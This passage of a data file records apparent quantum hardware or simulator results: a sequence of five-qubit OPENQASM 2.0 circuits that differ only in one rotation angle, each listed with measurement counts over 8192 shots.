8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1211', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1202, '0x1': 1356, '0x0': 3355, '0x2': 2279}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1213', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1218, '0x1': 1400, '0x0': 3293, '0x2': 2281}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1215', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1267, '0x1': 1364, '0x0': 3370, '0x2': 2191}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1217', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1252, '0x1': 1501, '0x0': 3226, '0x2': 2213}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1219', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1296, '0x1': 1397, '0x0': 3315, '0x2': 2184}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1221', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1303, '0x1': 1494, '0x0': 3160, '0x2': 2235}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1223', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1286, '0x1': 1446, '0x0': 3241, '0x2': 2219}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1225', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1325, '0x1': 1469, '0x0': 3260, '0x2': 2138}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1227', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1315, '0x1': 1552, '0x0': 3088, '0x2': 2237}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1229', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1347, '0x1': 1542, '0x0': 3238, '0x2': 2065}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1231', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1361, '0x1': 1547, '0x0': 3205, '0x2': 2079}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1233', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1323, '0x1': 1537, '0x0': 3152, '0x2': 2180}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n', 'memory_slots': 2, 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'name': 'circuit1235', 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'n_qubits': 5, 'creg_sizes': [['c', 2]]}, 'data': {'counts': {'0x3': 1392, '0x1': 1536, '0x0': 3152, '0x2': 2112}}, 'success': True, 'shots': 8192}, {'header': {'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx 